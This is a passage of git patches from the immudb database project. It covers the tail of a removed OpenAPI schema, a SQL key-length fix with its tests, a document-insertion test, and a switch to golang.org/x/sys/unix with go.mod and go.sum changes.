"object", - "properties": { - "documentIdFieldName": { - "type": "string" - }, - "fields": { - "type": "array", - "items": { - "$ref": "#/definitions/modelField" - } - }, - "indexes": { - "type": "array", - "items": { - "$ref": "#/definitions/modelIndex" - } - } - }, - "required": [ - "documentIdFieldName" - ] - }, - "modelCreateCollectionResponse": { - "type": "object" - }, - "modelCreateIndexRequest": { - "type": "object", - "properties": { - "fields": { - "type": "array", - "items": { - "type": "string" - } - }, - "isUnique": { - "type": "boolean" - } - }, - "required": [ - "fields", - "isUnique" - ] - }, - "modelCreateIndexResponse": { - "type": "object" - }, - "modelDeleteCollectionResponse": { - "type": "object" - }, - "modelDeleteDocumentsRequest": { - "type": "object", - "properties": { - "query": { - "$ref": "#/definitions/modelQuery" - } - }, - "required": [ - "query" - ] - }, - "modelDeleteDocumentsResponse": { - "type": "object" - }, - "modelDeleteIndexResponse": { - "type": "object" - }, - "modelDocumentAtRevision": { - "type": "object", - "properties": { - "transactionId": { - "type": "string", - "format": "uint64" - }, - "documentId": { - "type": "string" - }, - "revision": { - "type": "string", - "format": "uint64" - }, - "metadata": { - "$ref": "#/definitions/modelDocumentMetadata" - }, - "document": { - "type": "object" - } - }, - "required": [ - "transactionId", - "documentId", - "revision" - ] - }, - "modelDocumentMetadata": { - "type": "object", - "properties": { - "deleted": { - "type": "boolean" - } - }, - "required": [ - "deleted" - ] - }, - "modelField": { - "type": "object", - "properties": { - "name": { - "type": "string" - }, - "type": { - "$ref": "#/definitions/modelFieldType" - } - }, - "required": [ - "name", - "type" - ] - }, - "modelFieldComparison": { - "type": "object", - "properties": { - "field": { - "type": "string" - }, - "operator": { - "$ref": "#/definitions/modelComparisonOperator" - }, - "value": {} - }, - "required": [ - "field", - "operator", - "value" - ] - }, - "modelFieldType": { - "type": "string", - "enum": [ - "STRING", - "BOOLEAN", - "INTEGER", - "DOUBLE" - ], - "default": "STRING" - }, - "modelGetCollectionResponse": { - "type": "object", - "properties": { - "collection": { - "$ref": "#/definitions/modelCollection" - } - }, - "required": [ - "collection" - ] - }, - "modelGetCollectionsResponse": { - "type": "object", - "properties": { - "collections": { - "type": "array", - "items": { - "$ref": "#/definitions/modelCollection" - } - } - }, - "required": [ - "collections" - ] - }, - "modelIndex": { - "type": "object", - "properties": { - "fields": { - "type": "array", - "items": { - "type": "string" - } - }, - "isUnique": { - "type": "boolean" - } - }, - "required": [ - "fields", - "isUnique" - ] - }, - "modelInsertDocumentsRequest": { - "type": "object", - "properties": { - "documents": { - "type": "array", - "items": { - "type": "object" - } - } - }, - "required": [ - "documents" - ] - }, - "modelInsertDocumentsResponse": { - "type": "object", - "properties": { - "transactionId": { - "type": "string", - "format": "uint64" - }, - "documentIds": { - "type": "array", - "items": { - "type": "string" - } - } - }, - "required": [ - "transactionId", - "documentIds" - ] - }, - "modelKeepAliveRequest": { - "type": "object" - }, - "modelKeepAliveResponse": { - "type": "object" - }, - "modelOrderByClause": { - "type": "object", - "properties": { - "field": { - "type": "string" - }, - "desc": { - "type": "boolean" - } - }, - "required": [ - "field", - "desc" - ] - }, - "modelProofDocumentRequest": { - "type": "object", - "properties": { - "transactionId": { - "type": "string", - "format": "uint64" - }, - "proofSinceTransactionId": { - "type": "string", - "format": "uint64" - } - }, - "required": [ - "transactionId", - "proofSinceTransactionId" - ] - }, - "modelProofDocumentResponse": { - "type": "object", - "properties": { - "database": { - "type": "string" - }, - "collectionId": { - "type": "integer", - "format": "int64" - }, - "documentIdFieldName": { - "type": "string" - }, - "encodedDocument": { - "type": "string", - "format": "byte" - }, - "verifiableTx": { - "$ref": "#/definitions/schemaVerifiableTxV2" - } - }, - "required": [ - "database", - "collectionId", - "documentIdFieldName", - "encodedDocument", - "verifiableTx" - ] - }, - "modelQuery": { - "type": "object", - "properties": { - "expressions": { - "type": "array", - "items": { - "$ref": "#/definitions/modelQueryExpression" - } - }, - "orderBy": { - "type": "array", - "items": { - "$ref": "#/definitions/modelOrderByClause" - } - }, - "limit": { - "type": "integer", - "format": "int64" - } - }, - "required": [ - "expressions", - "orderBy", - "limit" - ] - }, - "modelQueryExpression": { - "type": "object", - "properties": { - "fieldComparisons": { - "type": "array", - "items": { - "$ref": "#/definitions/modelFieldComparison" - } - } - }, - "required": [ - "fieldComparisons" - ] - }, - "modelReplaceDocumentsRequest": { - "type": "object", - "properties": { - "query": { - "$ref": "#/definitions/modelQuery" - }, - "document": { - "type": "object" - } - }, - "required": [ - "query", - "document" - ] - }, - "modelReplaceDocumentsResponse": { - "type": "object", - "properties": { - "revisions": { - "type": "array", - "items": { - "$ref": "#/definitions/modelDocumentAtRevision" - } - } - }, - "required": [ - "revisions" - ] - }, - "modelSearchDocumentsRequest": { - "type": "object", - "properties": { - "query": { - "$ref": "#/definitions/modelQuery" - }, - "page": { - "type": "integer", - "format": "int64" - }, - "pageSize": { - "type": "integer", - "format": "int64" - }, - "keepOpen": { - "type": "boolean" - } - }, - "required": [ - "query", - "page", - "pageSize", - "keepOpen" - ] - }, - "modelSearchDocumentsRequestWith": { - "type": "object", - "properties": { - "page": { - "type": "integer", - "format": "int64" - }, - "pageSize": { - "type": "integer", - "format": "int64" - }, - "keepOpen": { - "type": "boolean" - } - }, - "required": [ - "page", - "pageSize", - "keepOpen" - ] - }, - "modelSearchDocumentsResponse": { - "type": "object", - "properties": { - "searchId": { - "type": "string" - }, - "revisions": { - "type": "array", - "items": { - "$ref": "#/definitions/modelDocumentAtRevision" - } - } - }, - "required": [ - "searchId", - "revisions" - ] - }, - "modelUpdateCollectionRequest": { - "type": "object", - "properties": { - "documentIdFieldName": { - "type": "string" - } - }, - "required": [ - "documentIdFieldName" - ] - }, - "modelUpdateCollectionResponse": { - "type": "object" - }, - "protobufAny": { - "type": "object", - "properties": { - "type_url": { - "type": "string", - "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." - }, - "value": { - "type": "string", - "format": "byte", - "description": "Must be a valid serialized protocol buffer of the above specified type." - } - }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" - }, - "protobufNullValue": { - "type": "string", - "enum": [ - "NULL_VALUE" - ], - "default": "NULL_VALUE", - "description": "`NullValue` is a singleton enumeration to represent the null value for the\n`Value` type union.\n\n The JSON representation for `NullValue` is JSON `null`.\n\n - NULL_VALUE: Null value." - }, - "runtimeError": { - "type": "object", - "properties": { - "error": { - "type": "string" - }, - "code": { - "type": "integer", - "format": "int32" - }, - "message": { - "type": "string" - }, - "details": { - "type": "array", - "items": { - "$ref": "#/definitions/protobufAny" - } - } - } - }, - "schemaDualProofV2": { - "type": "object", - "properties": { - "sourceTxHeader": { - "$ref": "#/definitions/schemaTxHeader", - "title": "Header of the source (earlier) transaction" - }, - "targetTxHeader": { - "$ref": "#/definitions/schemaTxHeader", - "title": "Header of the target (latter) transaction" - }, - "inclusionProof": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "Inclusion proof of the source transaction hash in the main Merkle Tree" - }, - "consistencyProof": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "Consistency proof between Merkle Trees in the source and target transactions" - } - }, - "title": "DualProofV2 contains inclusion and consistency proofs" - }, - "schemaEntry": { - "type": "object", - "properties": { - "tx": { - "type": "string", - "format": "uint64", - "title": "Transaction id at which the target value was set (i.e. not the reference transaction id)" - }, - "key": { - "type": "string", - "format": "byte", - "title": "Key of the target value (i.e. not the reference entry)" - }, - "value": { - "type": "string", - "format": "byte", - "title": "Value" - }, - "referencedBy": { - "$ref": "#/definitions/schemaReference", - "title": "If the request was for a reference, this field will keep information about the reference entry" - }, - "metadata": { - "$ref": "#/definitions/schemaKVMetadata", - "title": "Metadata of the target entry (i.e. not the reference entry)" - }, - "expired": { - "type": "boolean", - "title": "If set to true, this entry has expired and the value is not retrieved" - }, - "revision": { - "type": "string", - "format": "uint64", - "title": "Key's revision, in case of GetAt it will be 0" - } - } - }, - "schemaExpiration": { - "type": "object", - "properties": { - "expiresAt": { - "type": "string", - "format": "int64", - "title": "Entry expiration time (unix timestamp in seconds)" - } - } - }, - "schemaKVMetadata": { - "type": "object", - "properties": { - "deleted": { - "type": "boolean", - "title": "True if this entry denotes a logical deletion" - }, - "expiration": { - "$ref": "#/definitions/schemaExpiration", - "title": "Entry expiration information" - }, - "nonIndexable": { - "type": "boolean", - "title": "If set to true, this entry will not be indexed and will only be accessed through GetAt calls" - } - } - }, - "schemaReference": { - "type": "object", - "properties": { - "tx": { - "type": "string", - "format": "uint64", - "title": "Transaction if when the reference key was set" - }, - "key": { - "type": "string", - "format": "byte", - "title": "Reference key" - }, - "atTx": { - "type": "string", - "format": "uint64", - "title": "At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference" - }, - "metadata": { - "$ref": "#/definitions/schemaKVMetadata", - "title": "Metadata of the reference entry" - }, - "revision": { - "type": "string", - "format": "uint64", - "title": "Revision of the reference entry" - } - } - }, - "schemaSignature": { - "type": "object", - "properties": { - "publicKey": { - "type": "string", - "format": "byte" - }, - "signature": { - "type": "string", - "format": "byte" - } - } - }, - "schemaTx": { - "type": "object", - "properties": { - "header": { - "$ref": "#/definitions/schemaTxHeader", - "title": "Transaction header" - }, - "entries": { - "type": "array", - "items": { - "$ref": "#/definitions/schemaTxEntry" - }, - "title": "Raw entry values" - }, - "kvEntries": { - "type": "array", - "items": { - "$ref": "#/definitions/schemaEntry" - }, - "title": "KV entries in the transaction (parsed)" - }, - "zEntries": { - "type": "array", - "items": { - "$ref": "#/definitions/schemaZEntry" - }, - "title": "Sorted Set entries in the transaction (parsed)" - } - } - }, - "schemaTxEntry": { - "type": "object", - "properties": { - "key": { - "type": "string", - "format": "byte", - "title": "Raw key value (contains 1-byte prefix for kind of the key)" - }, - "hValue": { - "type": "string", - "format": "byte", - "title": "Value hash" - }, - "vLen": { - "type": "integer", - "format": "int32", - "title": "Value length" - }, - "metadata": { - "$ref": "#/definitions/schemaKVMetadata", - "title": "Entry metadata" - }, - "value": { - "type": "string", - "format": "byte", - "description": "value, must be ignored when len(value) == 0 and vLen \u003e 0.\nOtherwise sha256(value) must be equal to hValue." - } - } - }, - "schemaTxHeader": { - "type": "object", - "properties": { - "id": { - "type": "string", - "format": "uint64", - "title": "Transaction ID" - }, - "prevAlh": { - "type": "string", - "format": "byte", - "title": "State value (Accumulative Hash - Alh) of the previous transaction" - }, - "ts": { - "type": "string", - "format": "int64", - "title": "Unix timestamp of the transaction (in seconds)" - }, - "nentries": { - "type": "integer", - "format": "int32", - "title": "Number of entries in a transaction" - }, - "eH": { - "type": "string", - "format": "byte", - "title": "Entries Hash - cumulative hash of all entries in the transaction" - }, - "blTxId": { - "type": "string", - "format": "uint64", - "title": "Binary linking tree transaction ID\n(ID of last transaction already in the main Merkle Tree)" - }, - "blRoot": { - "type": "string", - "format": "byte", - "title": "Binary linking tree root (Root hash of the Merkle Tree)" - }, - "version": { - "type": "integer", - "format": "int32", - "title": "Header version" - }, - "metadata": { - "$ref": "#/definitions/schemaTxMetadata", - "title": "Transaction metadata" - } - } - }, - "schemaTxMetadata": { - "type": "object", - "properties": { - "truncatedTxID": { - "type": "string", - "format": "uint64", - "title": "Entry expiration information" - } - }, - "title": "TxMetadata contains metadata set to whole transaction" - }, - "schemaVerifiableTxV2": { - "type": "object", - "properties": { - "tx": { - "$ref": "#/definitions/schemaTx", - "title": "Transaction to verify" - }, - "dualProof": { - "$ref": "#/definitions/schemaDualProofV2", - "title": "Proof for the transaction" - }, - "signature": { - "$ref": "#/definitions/schemaSignature", - "title": "Signature for the new state value" - } - } - }, - "schemaZEntry": { - "type": "object", - "properties": { - "set": { - "type": "string", - "format": "byte", - "title": "Name of the sorted set" - }, - "key": { - "type": "string", - "format": "byte", - "title": "Referenced key" - }, - "entry": { - "$ref": "#/definitions/schemaEntry", - "title": "Referenced entry" - }, - "score": { - "type": "number", - "format": "double", - "title": "Sorted set element's score" - }, - "atTx": { - "type": "string", - "format": "uint64", - "title": "At which transaction the key is bound,\n0 if reference is not bound and should read the most recent reference" - } - } - } - }, - "securityDefinitions": { - "ApiKeyAuth": { - "type": "apiKey", - "description": "Session Identifier", - "name": "sessionid", - "in": "header" - } - }, - "security": [ - { - "ApiKeyAuth": [] - } - ] -} From 14d0acf91cfcab1e6a4853bc8a0b14c6b9b59f0f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 12 Jun 2023 15:56:20 -0300 Subject: [PATCH 0617/1062] fix(embedded/sql): do not force columns to have max key length when unspecified Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 4 ---- embedded/sql/engine_test.go | 3 +++ embedded/sql/stmt.go | 2 +- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 1e531d3ccf..eb25b415d3 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -469,10 +469,6 @@ func (c *Column) MaxLen() int { return 8 } - if c.maxLen == 0 { - return MaxKeyLen - } - return c.maxLen } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index d4430ae669..9f8e1793a7 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -99,6 +99,9 @@ func TestCreateTable(t *testing.T) { require.ErrorIs(t, err, ErrColumnDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY name)", nil) + require.ErrorIs(t, err, ErrLimitedKeyType) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR[30], PRIMARY KEY name)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("CREATE TABLE table2 (name VARCHAR[%d], PRIMARY KEY name)", MaxKeyLen+1), nil) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 9b62616561..eeb900fa7f 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -389,7 +389,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, err } - if variableSizedType(col.colType) && !tx.engine.lazyIndexConstraintValidation && col.MaxLen() > MaxKeyLen { + if variableSizedType(col.colType) && !tx.engine.lazyIndexConstraintValidation && (col.MaxLen() == 0 || col.MaxLen() > MaxKeyLen) { return nil, fmt.Errorf("%w: can not create index using column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) } From 8d3252156817d5075b69a72e73a5d86673f2c375 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 12 Jun 2023 15:56:53 -0300 Subject: [PATCH 0618/1062] test(pkg/database): test document insertion with serialized json document Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database_test.go | 46 ++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index f4654a169a..f8d2186f91 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -17,6 +17,7 @@ package database import ( "context" + "encoding/json" "os" "testing" @@ -373,3 +374,48 @@ func TestDocumentDB_WithDocuments(t *testing.T) { } }) } + +func TestDocumentDB_WithSerializedJsonDocument(t *testing.T) { + db := makeDocumentDb(t) + + collectionName := "mycollection" + + _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ + Name: collectionName, + Fields: []*protomodel.Field{}, + Indexes: []*protomodel.Index{}, + }) + require.NoError(t, err) + + jsonDoc := `{ + "old_record": null, + "record": { + "access_code": "1b86ff6b189f4c36a50b9073f6dfed17ee0388568a4f4651a68bf67a7c7aaf45", + "badge_uuid": "4ee1dbb2-544a-4e34-b99a-8003379f5d88", + "created_at": "2023-06-11T10:43:31.032008+00:00", + "id": 20, + "is_public": false, + "project_id": 1, + "sbom": { + "str": "sU2tZ3NC31H3WzlzfOvs7EsGYwLBSKTGwn3ooopNdiK4pf8eF75XWNe1aFYRGEiXwTeCc6vLFrGxAonWrMFN2AC840Wb6" + }, + "vault_uuid": null + }, + "schema": "public", + "table": "sbom", + "type": "INSERT" + }` + + doc := &structpb.Struct{} + + err = json.Unmarshal([]byte(jsonDoc), doc) + require.NoError(t, err) + + _, err = db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ + CollectionName: collectionName, + Documents: []*structpb.Struct{ + doc, + }, + }) + require.NoError(t, err) +} From f88c492bb08ec801752124887e7204e8c09f789d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 12 Jun 2023 20:02:53 -0300 Subject: [PATCH 0619/1062] chore: use sys/unix package Signed-off-by: Jeronimo Irazabal --- .../appendable/fileutils/fileutils_linux.go | 4 +- go.mod | 4 +- go.sum | 1187 +---------------- 3 files changed, 6 insertions(+), 1189 deletions(-) diff --git a/embedded/appendable/fileutils/fileutils_linux.go b/embedded/appendable/fileutils/fileutils_linux.go index 22cb96e178..063326409e 100644 --- a/embedded/appendable/fileutils/fileutils_linux.go +++ b/embedded/appendable/fileutils/fileutils_linux.go @@ -21,8 +21,8 @@ limitations under the License. package fileutils import ( + "golang.org/x/sys/unix" "os" - "syscall" ) func syncDir(path string) error { @@ -37,5 +37,5 @@ func syncDir(path string) error { } func fdatasync(f *os.File) error { - return syscall.Fdatasync(int(f.Fd())) + return unix.Fdatasync(int(f.Fd())) } diff --git a/go.mod b/go.mod index baa60ca683..af39ddeb12 100644 --- a/go.mod +++ b/go.mod @@ -3,7 +3,6 @@ module github.com/codenotary/immudb go 1.17 require ( - github.com/deepmap/oapi-codegen v1.8.2 github.com/fatih/color v1.13.0 github.com/gizak/termui/v3 v3.1.0 github.com/gogo/protobuf v1.3.2 @@ -36,7 +35,7 @@ require ( github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.7.0 golang.org/x/net v0.10.0 - golang.org/x/sys v0.8.0 + golang.org/x/sys v0.9.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc google.golang.org/grpc v1.55.0 @@ -56,6 +55,7 @@ require ( github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect github.com/davecgh/go-spew v1.1.1 // indirect + github.com/deepmap/oapi-codegen v1.8.2 // indirect github.com/dgraph-io/ristretto v0.0.2 // indirect github.com/envoyproxy/protoc-gen-validate v0.10.0 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect diff --git a/go.sum b/go.sum index a9d59f9835..e4b1508728 100644 --- a/go.sum +++ b/go.sum @@ -13,588 +13,26 @@ cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKV cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= -cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= -cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= -cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= -cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= -cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= -cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= -cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= -cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= -cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= -cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= -cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= -cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= -cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= -cloud.google.com/go v0.100.1/go.mod h1:fs4QogzfH5n2pBXBP9vRiU+eCny7lD2vmFZy79Iuw1U= -cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= -cloud.google.com/go v0.102.0/go.mod h1:oWcCzKlqJ5zgHQt9YsaeTY9KzIvjyy0ArmiBUgpQ+nc= -cloud.google.com/go v0.102.1/go.mod h1:XZ77E9qnTEnrgEOvr4xzfdX5TRo7fB4T2F4O6+34hIU= -cloud.google.com/go v0.104.0/go.mod h1:OO6xxXdJyvuJPcEPBLN9BJPD+jep5G1+2U5B5gkRYtA= -cloud.google.com/go v0.105.0/go.mod h1:PrLgOJNe5nfE9UMxKxgXj4mD3voiP+YQ6gdt6KMFOKM= -cloud.google.com/go v0.107.0/go.mod h1:wpc2eNrD7hXUTy8EKS10jkxpZBjASrORK7goS+3YX2I= -cloud.google.com/go v0.110.0/go.mod h1:SJnCLqQ0FCFGSZMUNUf84MV3Aia54kn7pi8st7tMzaY= -cloud.google.com/go/accessapproval v1.4.0/go.mod h1:zybIuC3KpDOvotz59lFe5qxRZx6C75OtwbisN56xYB4= -cloud.google.com/go/accessapproval v1.5.0/go.mod h1:HFy3tuiGvMdcd/u+Cu5b9NkO1pEICJ46IR82PoUdplw= -cloud.google.com/go/accessapproval v1.6.0/go.mod h1:R0EiYnwV5fsRFiKZkPHr6mwyk2wxUJ30nL4j2pcFY2E= -cloud.google.com/go/accesscontextmanager v1.3.0/go.mod h1:TgCBehyr5gNMz7ZaH9xubp+CE8dkrszb4oK9CWyvD4o= -cloud.google.com/go/accesscontextmanager v1.4.0/go.mod h1:/Kjh7BBu/Gh83sv+K60vN9QE5NJcd80sU33vIe2IFPE= -cloud.google.com/go/accesscontextmanager v1.6.0/go.mod h1:8XCvZWfYw3K/ji0iVnp+6pu7huxoQTLmxAbVjbloTtM= -cloud.google.com/go/accesscontextmanager v1.7.0/go.mod h1:CEGLewx8dwa33aDAZQujl7Dx+uYhS0eay198wB/VumQ= -cloud.google.com/go/aiplatform v1.22.0/go.mod h1:ig5Nct50bZlzV6NvKaTwmplLLddFx0YReh9WfTO5jKw= -cloud.google.com/go/aiplatform v1.24.0/go.mod h1:67UUvRBKG6GTayHKV8DBv2RtR1t93YRu5B1P3x99mYY= -cloud.google.com/go/aiplatform v1.27.0/go.mod h1:Bvxqtl40l0WImSb04d0hXFU7gDOiq9jQmorivIiWcKg= -cloud.google.com/go/aiplatform v1.35.0/go.mod h1:7MFT/vCaOyZT/4IIFfxH4ErVg/4ku6lKv3w0+tFTgXQ= -cloud.google.com/go/aiplatform v1.36.1/go.mod h1:WTm12vJRPARNvJ+v6P52RDHCNe4AhvjcIZ/9/RRHy/k= -cloud.google.com/go/aiplatform v1.37.0/go.mod h1:IU2Cv29Lv9oCn/9LkFiiuKfwrRTq+QQMbW+hPCxJGZw= -cloud.google.com/go/analytics v0.11.0/go.mod h1:DjEWCu41bVbYcKyvlws9Er60YE4a//bK6mnhWvQeFNI= -cloud.google.com/go/analytics v0.12.0/go.mod h1:gkfj9h6XRf9+TS4bmuhPEShsh3hH8PAZzm/41OOhQd4= -cloud.google.com/go/analytics v0.17.0/go.mod h1:WXFa3WSym4IZ+JiKmavYdJwGG/CvpqiqczmL59bTD9M= -cloud.google.com/go/analytics v0.18.0/go.mod h1:ZkeHGQlcIPkw0R/GW+boWHhCOR43xz9RN/jn7WcqfIE= -cloud.google.com/go/analytics v0.19.0/go.mod h1:k8liqf5/HCnOUkbawNtrWWc+UAzyDlW89doe8TtoDsE= -cloud.google.com/go/apigateway v1.3.0/go.mod h1:89Z8Bhpmxu6AmUxuVRg/ECRGReEdiP3vQtk4Z1J9rJk= -cloud.google.com/go/apigateway v1.4.0/go.mod h1:pHVY9MKGaH9PQ3pJ4YLzoj6U5FUDeDFBllIz7WmzJoc= -cloud.google.com/go/apigateway v1.5.0/go.mod h1:GpnZR3Q4rR7LVu5951qfXPJCHquZt02jf7xQx7kpqN8= -cloud.google.com/go/apigeeconnect v1.3.0/go.mod h1:G/AwXFAKo0gIXkPTVfZDd2qA1TxBXJ3MgMRBQkIi9jc= -cloud.google.com/go/apigeeconnect v1.4.0/go.mod h1:kV4NwOKqjvt2JYR0AoIWo2QGfoRtn/pkS3QlHp0Ni04= -cloud.google.com/go/apigeeconnect v1.5.0/go.mod h1:KFaCqvBRU6idyhSNyn3vlHXc8VMDJdRmwDF6JyFRqZ8= -cloud.google.com/go/apigeeregistry v0.4.0/go.mod h1:EUG4PGcsZvxOXAdyEghIdXwAEi/4MEaoqLMLDMIwKXY= -cloud.google.com/go/apigeeregistry v0.5.0/go.mod h1:YR5+s0BVNZfVOUkMa5pAR2xGd0A473vA5M7j247o1wM= -cloud.google.com/go/apigeeregistry v0.6.0/go.mod h1:BFNzW7yQVLZ3yj0TKcwzb8n25CFBri51GVGOEUcgQsc= -cloud.google.com/go/apikeys v0.4.0/go.mod h1:XATS/yqZbaBK0HOssf+ALHp8jAlNHUgyfprvNcBIszU= -cloud.google.com/go/apikeys v0.5.0/go.mod h1:5aQfwY4D+ewMMWScd3hm2en3hCj+BROlyrt3ytS7KLI= -cloud.google.com/go/apikeys v0.6.0/go.mod h1:kbpXu5upyiAlGkKrJgQl8A0rKNNJ7dQ377pdroRSSi8= -cloud.google.com/go/appengine v1.4.0/go.mod h1:CS2NhuBuDXM9f+qscZ6V86m1MIIqPj3WC/UoEuR1Sno= -cloud.google.com/go/appengine v1.5.0/go.mod h1:TfasSozdkFI0zeoxW3PTBLiNqRmzraodCWatWI9Dmak= -cloud.google.com/go/appengine v1.6.0/go.mod h1:hg6i0J/BD2cKmDJbaFSYHFyZkgBEfQrDg/X0V5fJn84= -cloud.google.com/go/appengine v1.7.0/go.mod h1:eZqpbHFCqRGa2aCdope7eC0SWLV1j0neb/QnMJVWx6A= -cloud.google.com/go/appengine v1.7.1/go.mod h1:IHLToyb/3fKutRysUlFO0BPt5j7RiQ45nrzEJmKTo6E= -cloud.google.com/go/area120 v0.5.0/go.mod h1:DE/n4mp+iqVyvxHN41Vf1CR602GiHQjFPusMFW6bGR4= -cloud.google.com/go/area120 v0.6.0/go.mod 